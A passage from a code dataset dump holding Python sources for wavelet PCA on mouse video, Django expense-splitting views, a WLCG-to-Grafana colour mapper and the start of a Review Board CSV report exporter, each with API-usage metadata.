"common.http.http.request_coro", "line_number": 113, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 113, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 113, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 114, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 101, "usage_type": "attribute"}, {"api_name": "common.config.config", "line_number": 123, "usage_type": "name"}, {"api_name": "common.config.config", "line_number": 125, "usage_type": "name"}, {"api_name": "common.http.http.request_coro", "line_number": 131, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 131, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 131, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 132, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 120, "usage_type": "attribute"}, {"api_name": "common.config.config", "line_number": 143, "usage_type": "name"}, {"api_name": "common.http.http.request_coro", "line_number": 148, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 148, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 148, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 149, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 138, "usage_type": "attribute"}, {"api_name": "common.config.config", "line_number": 159, "usage_type": "name"}, {"api_name": "common.http.http.request_coro", "line_number": 161, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 161, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 161, "usage_type": "name"}, {"api_name": "common.config.config", "line_number": 161, "usage_type": "name"}, {"api_name": "asyncio.coroutine", "line_number": 155, "usage_type": "attribute"}, {"api_name": "common.config.config", "line_number": 168, "usage_type": "name"}, {"api_name": "common.http.http.request_coro", "line_number": 170, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 170, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 170, "usage_type": "name"}, {"api_name": "common.config.config", "line_number": 170, "usage_type": "name"}, {"api_name": "asyncio.coroutine", "line_number": 164, "usage_type": "attribute"}, {"api_name": "common.config.config", "line_number": 175, "usage_type": "name"}, {"api_name": "common.config.config", "line_number": 177, "usage_type": "name"}, {"api_name": "common.http.http.request_coro", "line_number": 179, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 179, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 179, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 185, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 173, "usage_type": "attribute"}, {"api_name": "common.config.config", "line_number": 189, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 191, "usage_type": "call"}, {"api_name": "common.http.http.request", "line_number": 191, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 191, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 191, "usage_type": "name"}, {"api_name": "common.config.config", "line_number": 201, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 216, "usage_type": "call"}, {"api_name": "common.http.http.request_coro", "line_number": 216, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 216, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 216, "usage_type": "name"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 220, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 220, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 220, "usage_type": "name"}]} +{"seq_id": "31208849", "text": "'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n\n----------- Perform PCA on wavelet-transformed mouse video -------------------------\n\n\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n\nimport numpy as np; import cv2; import sklearn.decomposition; import os; import warnings; \nfrom learning_funcs import reconstruct_from_wavelet; from sklearn.externals import joblib; import glob\nwarnings.filterwarnings('once')\n\n''' -------------------------------------------------------------------------------------------------------------------------------------\n#------------------------ Select data file and analysis parameters --------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------'''\n\n\n# ------------------------------------------\n# Select data file name and folder location\n# ------------------------------------------\nsave_folder_location = \"C:\\\\Drive\\\\Video Analysis\\\\data\\\\3D_pipeline\\\\\"\n\nsession_name_tags = ['session1']\ntwoD = True\n\ndata_library_name_tag = 'test2D'\n\n\n\n\nexamine_PCA_reconstruction = True\nexamine_PCA_reconstruction_cumulatively = True\ndo_not_overwrite = True\n\n# ---------------------------\n# Select analysis parameters\n# ---------------------------\nnum_PCs_to_create = 10\n\nfeature_relevance_threshold = 0.01\nmodify_relevant_features_from_previous_runs = True\ndisplay_frame_rate = 40\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n'''-------------------------------------------------------------------------------------------------------------------------------------\n#----------------------- Prepare wavelet transformed data -----------------------------------\n#------------------------------------------------------------------------------------------------------------------------------------'''\n\n\n\n# -----------------------------------------------\n# Find data library folder and sessions name tags\n# -----------------------------------------------\nfolder_location_data_library = save_folder_location + data_library_name_tag + '\\\\'\nif not os.path.isdir(folder_location_data_library):\n os.makedirs(folder_location_data_library)\nfile_location_data_library = folder_location_data_library + data_library_name_tag\nprint(\"saving to \" + folder_location_data_library)\nif twoD:\n twoD_suffix = '2D'\nelse:\n twoD_suffix = ''\n\n\n\n# ----------------------------------------------------------------------------------------------------------\n# Initialize huge array of wavelet features from all videos, plus the indices of important wavelet features\n# ----------------------------------------------------------------------------------------------------------\ncoeff_slices = np.load(save_folder_location + 'wavelet_slices.npy')\n\nprint('preparing features...')\nif not modify_relevant_features_from_previous_runs and os.path.isfile(file_location_data_library + '_relevant_wavelet_features_PCA' + twoD_suffix + '.npy'):\n relevant_wavelet_features = np.load(file_location_data_library + '_relevant_wavelet_features_PCA' + twoD_suffix + '.npy')\n new_relevant_wavelet_features = False\nelse:\n relevant_wavelet_features = np.ones(39*39).astype(bool)\n new_relevant_wavelet_features = True\n print('and calculating relevant features...')\n \n \n\n# ------------------------------------------------------------------------\n# for each session, add the wavelet features to the huge array of features\n# ------------------------------------------------------------------------\nwavelet_array_all_sessions = np.zeros((1, len(relevant_wavelet_features)))\nwavelet_feature_std_all_sessions = np.zeros(39 * 39)\nsession_index = []\n\nfor session in enumerate(session_name_tags):\n print(session[1])\n file_locations_saved_data = glob.glob(save_folder_location + session[1] + '\\\\' + '*wavelet' + twoD_suffix + '.npy')\n if len(file_locations_saved_data)==0:\n raise Exception('wavelet data not found')\n wavelet_array_session = np.zeros((1, len(relevant_wavelet_features)))\n # do so for every video\n for wavelet_video in enumerate(file_locations_saved_data):\n if wavelet_video[1].find('upside') > 0: # skip upside-down data\n continue\n wavelet_array = np.load(wavelet_video[1]) # .astype(np.float64)\n wavelet_array = np.reshape(wavelet_array, (39 * 39, wavelet_array.shape[2]))\n wavelet_array_session = np.concatenate((wavelet_array_session, wavelet_array[relevant_wavelet_features, :].T))\n wavelet_array_session = wavelet_array_session[1:,:]\n wavelet_array_all_sessions = np.concatenate((wavelet_array_all_sessions, wavelet_array_session))\nwavelet_array_all_sessions = wavelet_array_all_sessions[1:, :]\n\n\n\n# -------------------------------------------------------------------\n# Find the features that vary across time and are therefore relevant\n# -------------------------------------------------------------------\nif new_relevant_wavelet_features:\n relevant_wavelet_features = (np.std(wavelet_array_all_sessions, axis=0) > feature_relevance_threshold)\n # also save the index of each of these features\n relevant_wavelet_features = np.where(relevant_wavelet_features)[0]\n np.save(file_location_data_library + '_relevant_wavelet_features_PCA' + twoD_suffix + '.npy', relevant_wavelet_features) \n wavelet_array_all_sessions = wavelet_array_all_sessions[:, relevant_wavelet_features]\nprint(str(len(relevant_wavelet_features)) + ' relevant features retained from wavelet transform')\n\nwavelet_relevant_mean = np.mean(wavelet_array_all_sessions, axis=0)\nlevel = 5 # how many different spatial scales are used in wavelet transform\ndiscard_scale = 4\n\n\n''' -------------------------------------------------------------------------------------------------------------------------------------\n#----------------------- Examine each PC -----------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------''' \n\nif examine_PCA_reconstruction:\n \n # ------------------------------------------\n # Generate the PCs for the wavelet features\n # ------------------------------------------\n print('fitting pca...')\n pca = sklearn.decomposition.PCA(n_components=num_PCs_to_create, svd_solver ='arpack') #if too slow, try svd_solver = 'randomized'\n pca.fit(wavelet_array_all_sessions) # input: (samples, features)\n\n # for each PC:\n for n_com in range(0, num_PCs_to_create):\n # -----------------------------------\n # Compute the expansion coefficients\n # ----------------------------------- \n if examine_PCA_reconstruction_cumulatively: # Reconstruct the data based on all the PCs taken so far\n coeffs = np.zeros((num_PCs_to_create,600))\n coeffs[0:n_com + 1,:] = pca.transform(wavelet_array_all_sessions).T[0:n_com + 1, 0:600]\n wavelet_array_relevant_features_recon = pca.inverse_transform(coeffs.T)\n else: # Reconstruct the data based on only the current PC\n coeffs = pca.transform(wavelet_array_all_sessions).T[n_com:n_com + 1, 0:600]\n wavelet_array_relevant_features_recon = (pca.components_[n_com:n_com+1].T@coeffs).astype(float).T + wavelet_relevant_mean\n \n # -----------------------------------\n # Report PC performance\n # ----------------------------------- \n print('principal component ' + str(n_com+1)) \n print(str((100*pca.explained_variance_ratio_[n_com])) + '% var explained by this PC')\n print(str((100*sum(pca.explained_variance_ratio_[0:n_com+1]))) + '% var explained total'); print('')\n \n # ------------------------------------\n # Display PC resonstruction over time\n # ------------------------------------ \n empty_wavelet = np.zeros(39*39)\n if n_com == 0 or n_com == 9:\n num_to_see = 500\n else:\n num_to_see = 300\n for frame_num in range(num_to_see):\n empty_wavelet[relevant_wavelet_features] = wavelet_array_relevant_features_recon[frame_num,:]\n wavelet = np.reshape(empty_wavelet,(39,39))\n #reconstruct image from wavelet transform\n reconstruction_from_wavelet = reconstruct_from_wavelet(wavelet, coeff_slices, level, discard_scale)\n reconstruction_from_wavelet[reconstruction_from_wavelet > 255] = 255\n reconstruction_from_wavelet = cv2.resize(abs(reconstruction_from_wavelet).astype(np.uint8),(450,450))\n cv2.imshow('PC / wavelet reconstruction', reconstruction_from_wavelet)\n \n if cv2.waitKey(int(1000/display_frame_rate)) & 0xFF == ord('q'):\n break\n \n if cv2.waitKey(500) & 0xFF == ord('q'):\n break\n \n \n''' -------------------------------------------------------------------------------------------------------------------------------------\n#----------------------- Save PCs -----------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------'''\n\n\n\n# Generate the PCs for the wavelet features\nprint('saving pca model...')\npca = sklearn.decomposition.PCA(n_components=num_PCs_to_create, svd_solver ='arpack') #if too slow, try svd_solver = 'randomized'\npca.fit(wavelet_array_all_sessions) # input: (samples, features)\n\nif os.path.isfile(folder_location_data_library + '_pca') and do_not_overwrite:\n raise Exception('File already exists') \njoblib.dump(pca, file_location_data_library + '_pca' + twoD_suffix)\n\nfor session in enumerate(session_name_tags):\n \n wavelet_array = np.load(save_folder_location + session[1] + '\\\\' + session[1] + '_wavelet' + twoD_suffix + '.npy')\n wavelet_array = np.reshape(wavelet_array, (39 * 39, wavelet_array.shape[2]))[relevant_wavelet_features,:].T\n \n # Compute the expansion coefficients\n pca_coeffs = pca.transform(wavelet_array) #input: (samples, features)\n \n # Save the coefficients\n pca_file_location = save_folder_location + session[1] + '\\\\' + session[1] + '_pca_coeffs_' + data_library_name_tag + twoD_suffix + '.npy'\n np.save(pca_file_location, pca_coeffs)\n\n \n\n\n\n", "sub_path": "superorganism-analysis/superorganism-learning/PCA.py", "file_name": "PCA.py", "file_ext": "py", "file_size_in_byte": 10671, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "warnings.filterwarnings", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 105, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 138, "usage_type": "call"}, {"api_name": "sklearn.decomposition.decomposition.PCA", "line_number": 153, "usage_type": "call"}, {"api_name": "sklearn.decomposition.decomposition", "line_number": 153, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition", "line_number": 153, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 186, "usage_type": "call"}, {"api_name": "learning_funcs.reconstruct_from_wavelet", "line_number": 188, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 190, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 191, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 193, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 196, "usage_type": "call"}, {"api_name": "sklearn.decomposition.decomposition.PCA", "line_number": 208, "usage_type": "call"}, {"api_name": "sklearn.decomposition.decomposition", "line_number": 208, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition", "line_number": 208, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path", "line_number": 211, "usage_type": "attribute"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 213, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 213, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 225, "usage_type": "call"}]} +{"seq_id": "62191370", "text": "from django.shortcuts import render\nfrom .models import Group,Expense,Payment\nfrom django.shortcuts import render, get_object_or_404\nfrom .form import GroupForm,AddExpense,NameForm\nfrom django.http import HttpResponseRedirect,HttpResponse\nfrom django.core.exceptions import PermissionDenied \nfrom django.contrib.auth.models import User \nfrom django.shortcuts import redirect\n\ndef home(request):\n groups= Group.objects.all()\n return render(request, 'blog/home.html', {'groups':groups})\n\n\ndef group_detail(request, pk):\n group=get_object_or_404(Group,pk=pk)\n g2=Group.objects.filter(group_name=group.group_name).first()\n g3=Group.objects.filter(group_name=group.group_name).first()\n m2=group.members.all()\n g1=Expense.objects.filter(group__group_name=group.group_name)\n return render(request, 'blog/group_detail.html',{'expense':g1,'member':m2,'pk':pk})\n\ndef group_new(request):\n if request.method == \"POST\":\n form = GroupForm(request.POST)\n if form.is_valid():\n group_name = form.cleaned_data['group_name']\n g1=Group(group_name=group_name)\n g1.save()\n\n description = form.cleaned_data['description']\n total_amount = form.cleaned_data['total_amount']\n paid_by=form.cleaned_data['Paid_by']\n if not User.objects.filter(username=paid_by): \n return PermissionDenied\n u1=User.objects.filter(username=paid_by).first()\n g1.members.add(u1) \n e1=Expense(total_amount=total_amount,Payment=u1,description=description,group=g1)\n e1.save()\n count_amount=0\n member_name = form.cleaned_data['member_name']\n member_name=member_name.replace('-', ',').split(',')\n for member in member_name: \n if(member.isdigit()):\n a1=member \n count_amount+=int(a1) \n else:\n m1=member\n if not User.objects.filter(username=m1): \n return PermissionDenied\n member_amount=User.objects.filter(username=m1).first()\n g1.members.add(member_amount) \n continue\n \n p1=Payment(amount=a1,paid=member_amount,expense=e1,flag=False)\n p1.save()\n return redirect('group-detail',pk=g1.pk)\n\n else:\n form = GroupForm()\n return render(request, 'blog/group_edit.html', {'form': form})\n\ndef expense_detail(request, pk):\n expense=get_object_or_404(Expense,pk=pk)\n form = NameForm()\n e=Payment.objects.filter(expense__description=expense.description,expense__group__group_name=expense.group)\n return render(request, 'blog/expense_detail.html',{'expense':e,'form':form})\n\ndef expense_new(request,pk):\n if request.method == \"POST\":\n form = AddExpense(request.POST)\n if form.is_valid():\n group=get_object_or_404(Group,pk=pk)\n description = form.cleaned_data['description']\n total_amount = form.cleaned_data['total_amount']\n paid_by=form.cleaned_data['Paid_by']\n if not User.objects.filter(username=paid_by): \n return PermissionDenied\n u1=User.objects.filter(username=paid_by).first()\n e1=Expense(total_amount=total_amount,Payment=u1,description=description,group=group)\n e1.save()\n\n member_name = form.cleaned_data['member_name']\n member_name=member_name.replace('-', ',').split(',')\n for member in member_name: \n if(member.isdigit()):\n a1=member \n else:\n m1=member\n if not User.objects.filter(username=m1): \n return PermissionDenied\n member_amount=User.objects.filter(username=m1).first()\n group.members.add(member_amount) \n continue\n \n p1=Payment(amount=a1,paid=member_amount,expense=e1,flag=False)\n p1.save()\n return redirect('group-detail',pk=group.pk)\n else:\n form = AddExpense()\n return render(request, 'blog/add_expense.html', {'form': form})\n\n\ndef paid_members(request,pk):\n expense=get_object_or_404(Expense,pk=pk)\n if request.method == 'POST':\n form = NameForm(request.POST)\n if form.is_valid():\n d = form.cleaned_data['your_name']\n u1=User.objects.filter(username=d).first()\n u=Payment.objects.filter(paid=u1,expense=expense).first()\n u.flag=True\n u.save()\n return render(request, 'blog/expense_detail.html', {'form': form})\n\n\n\n\n \n\n\n \n\n \n\n\n\n ", "sub_path": "splitwise/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4756, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "models.Group.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Group.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.Group", "line_number": 11, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 12, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 16, "usage_type": "argument"}, {"api_name": "models.Group.objects.filter", "line_number": 17, "usage_type": "call"}, {"api_name": "models.Group.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "models.Group", "line_number": 17, "usage_type": "name"}, {"api_name": "models.Group.objects.filter", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Group.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.Group", "line_number": 18, "usage_type": "name"}, {"api_name": "models.Expense.objects.filter", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Expense.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.Expense", "line_number": 20, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 21, "usage_type": "call"}, {"api_name": "form.GroupForm", "line_number": 25, "usage_type": "call"}, {"api_name": "form.is_valid", "line_number": 26, "usage_type": "call"}, {"api_name": "form.cleaned_data", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.Group", "line_number": 28, "usage_type": "call"}, {"api_name": "form.cleaned_data", "line_number": 31, "usage_type": "attribute"}, {"api_name": "form.cleaned_data", "line_number": 32, "usage_type": "attribute"}, {"api_name": "form.cleaned_data", "line_number": 33, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 34, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 35, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 36, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 36, "usage_type": "name"}, {"api_name": "models.Expense", "line_number": 38, "usage_type": "call"}, {"api_name": "form.cleaned_data", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 49, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 49, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 50, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 51, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 51, "usage_type": "name"}, {"api_name": "models.Payment", "line_number": 55, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 57, "usage_type": "call"}, {"api_name": "form.GroupForm", "line_number": 60, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 61, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Expense", "line_number": 64, "usage_type": "argument"}, {"api_name": "form.NameForm", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Payment.objects.filter", "line_number": 66, "usage_type": "call"}, {"api_name": "models.Payment.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "models.Payment", "line_number": 66, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 67, "usage_type": "call"}, {"api_name": "form.AddExpense", "line_number": 71, "usage_type": "call"}, {"api_name": "form.is_valid", "line_number": 72, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 73, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 73, "usage_type": "argument"}, {"api_name": "form.cleaned_data", "line_number": 74, "usage_type": "attribute"}, {"api_name": "form.cleaned_data", "line_number": 75, "usage_type": "attribute"}, {"api_name": "form.cleaned_data", "line_number": 76, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 77, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 78, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 79, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 79, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 79, "usage_type": "name"}, {"api_name": "models.Expense", "line_number": 80, "usage_type": "call"}, {"api_name": "form.cleaned_data", "line_number": 83, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 90, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 90, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 90, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 91, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 92, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 92, "usage_type": "name"}, {"api_name": "models.Payment", "line_number": 96, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 98, "usage_type": "call"}, {"api_name": "form.AddExpense", "line_number": 100, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 101, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 105, "usage_type": "call"}, {"api_name": "models.Expense", "line_number": 105, "usage_type": "argument"}, {"api_name": "form.NameForm", "line_number": 107, "usage_type": "call"}, {"api_name": "form.is_valid", "line_number": 108, "usage_type": "call"}, {"api_name": "form.cleaned_data", "line_number": 109, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 110, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 110, "usage_type": "name"}, {"api_name": "models.Payment.objects.filter", "line_number": 111, "usage_type": "call"}, {"api_name": "models.Payment.objects", "line_number": 111, "usage_type": "attribute"}, {"api_name": "models.Payment", "line_number": 111, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 114, "usage_type": "call"}]} +{"seq_id": "538540994", "text": "#!/usr/bin/env python3\n\nimport sys\nimport json\nfrom urllib.request import urlopen\nimport subprocess\n\ndef apply_wlcg_mapping(grafana_dashboard_definition_filename):\n with open('grafana_color_scheme.ini', 'r') as f:\n color_scheme = f.read().split(',')\n \n urls = [\"http://wlcg-cric.cern.ch/api/core/rcsite/query/?json&state=ANY\",\n \"http://wlcg-cric.cern.ch/api/core/federation/query/?json\"]\n \n wlcg_mappings = set()\n \n for url in urls:\n response = urlopen(url)\n wlcg_data = response.read().decode(\"utf-8\")\n wlcg_data = json.loads(wlcg_data)\n \n wlcg_mappings.update(wlcg_data.keys())\n \n with open('colourmapper.ini', 'w') as f:\n f.write('[Colours]\\n')\n\n for index, obj in enumerate(wlcg_mappings):\n f.write(f'{obj} = {color_scheme[index % len(color_scheme)]}\\n')\n \n subprocess.call(['python3', 'colourmapper.py', grafana_dashboard_definition_filename])\n\nif __name__ == '__main__':\n apply_wlcg_mapping(sys.argv[1])\n", "sub_path": "wlcg_colourmapper.py", "file_name": "wlcg_colourmapper.py", "file_ext": "py", "file_size_in_byte": 1032, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "urllib.request.urlopen", "line_number": 18, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 20, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}]} +{"seq_id": "132090016", "text": "# This file handles the request from UI to get the details for a particular review\n#\n# It connects to the MySQL DB and returns the data in CSV format to the frontend.\n# The data format is similar to the 'Review Log Tracker' of HSC BMS.\n\nfrom reviewboard.webapi.base import WebAPIResource\nimport logging\nimport MySQLdb\nimport ast\nimport csv\nimport io\nfrom datetime import datetime\n\n\nDB_IP = '127.0.0.1'\nDB_PORT = 3306\nUSER = \"\"\nPASSWD = \"\"\nDB_NAME = \"\"\n\n# For data received from DB\ndata = []\n\n\nclass HscReportResourceExportCsv(WebAPIResource):\n \"\"\"HscReports class return hsc excel format.\"\"\"\n # name in web api link.\n name = 'hsc_export_csv'\n\n # name in api request.\n uri_name = 'export'\n\n # methods allowed for this resource.\n allowed_methods = ('GET', 'POST')\n logging.debug(\"Hello HSC Reports\")\n\n\n # hardcoded data\n ph_detect = 'Code Review (Internal)'\n ph_inject = ' '\n cause = ' '\n disp_pre = ' '\n fix_in_rev = ' '\n on_rev = ' '\n\n # Header for the CSV file\n header = ['S.No','Location','Phase Detected','Defect Severity','Description','Disposition (Pre-Meeting)',\n 'Disposition (Post-Meeting)','Disposition Comment','Date Approved','Date Closed',\n 'Fixed in Revision','Reviewer','Date Created','On Revision','Defect Category','Phase Injected',\n 'Defect Cause']\n\n # GET request handling.\n def get_list(self, request, *args, **kwargs):\n req_id = request.GET['req_id']\n comment_data = self.get_rvw_detail(req_id)\n return 200, {self.item_result_key: {'data': comment_data}}\n\n # POST request handling.\n def create(self, request, api_format, *args, **kwargs):\n logging.debug(\"POST: Hello HSC\")\n comment_data = self.get_rvw_detail(req_id)\n return 200, {self.item_result_key: {'data': comment_data}}\n\n\n # Convert the RB status to HSC report status\n def match_status(self, x):\n return {\n 'R': 'Accepted',\n 'D': 'Rejected',\n }.get(x, ' ')\n\n # Convert the RB category to HSC report category\n def match_category(self, x):\n return {\n 'std': 'Standards',\n 'func': 'Functional',\n 'poor': 'Poor Practice',\n 'logical': 'Logical',\n 'ppt': 'Presetation/Documantation',\n 'query': 'Query/Clarification/Recommendation',\n }.get(x, ' ')\n\n\n # Convert the RB severity to HSC report severity\n def match_severity(self, x):\n return {\n 'critical': 'Critical',\n 'major': 'Major',\n 'minor': 'Minor',\n 'enhancement': 'Enhancement',\n }.get(x, ' ')\n\n\n # Convert the RB cause to HSC BMS template\n def match_cause(self, x):\n return {\n 'requirement': 'Ambigous Requirements',\n 'design': 'Design Error',\n 'stdfollow': 'Standards not followed',\n 'stdupd': 'Standards needs updation',\n 'knowledge': 'Lack of Knowledge',\n 'oversight': 'Oversight',\n 'dataerr': 'Data Error',\n 'config': 'Incorrect Configuration',\n 'hardware': 'Hardware Issue',\n 'trace': 'Traceability Not followed',\n }.get(x, ' ')\n\n\n # Convert the RB phase injected to HSC BMS values\n def match_phase_injected(self, x):\n return {\n 'reqmt': 'Requirement',\n 'design': 'Design',\n 'code': 'Coding',\n 'test': 'Testing',\n }.get(x, ' ')\n\n #Fetch details for the given request Id of the given repository\n # Arguments:\n # rvwId:(number) \n # Return:\n # CSV formatted string\n #\n def get_rvw_detail(self, rvwId):\n\n try:\n csv_output = io.BytesIO()\n writer = csv.writer(csv_output)\n\n # Query to get the meta info of the review\n meta_info_query = \"select rr.summary, rr.time_added, au.first_name, au.last_name, scm.name \"\\\n \" from reviews_reviewrequest rr, auth_user au, scmtools_tool scm, 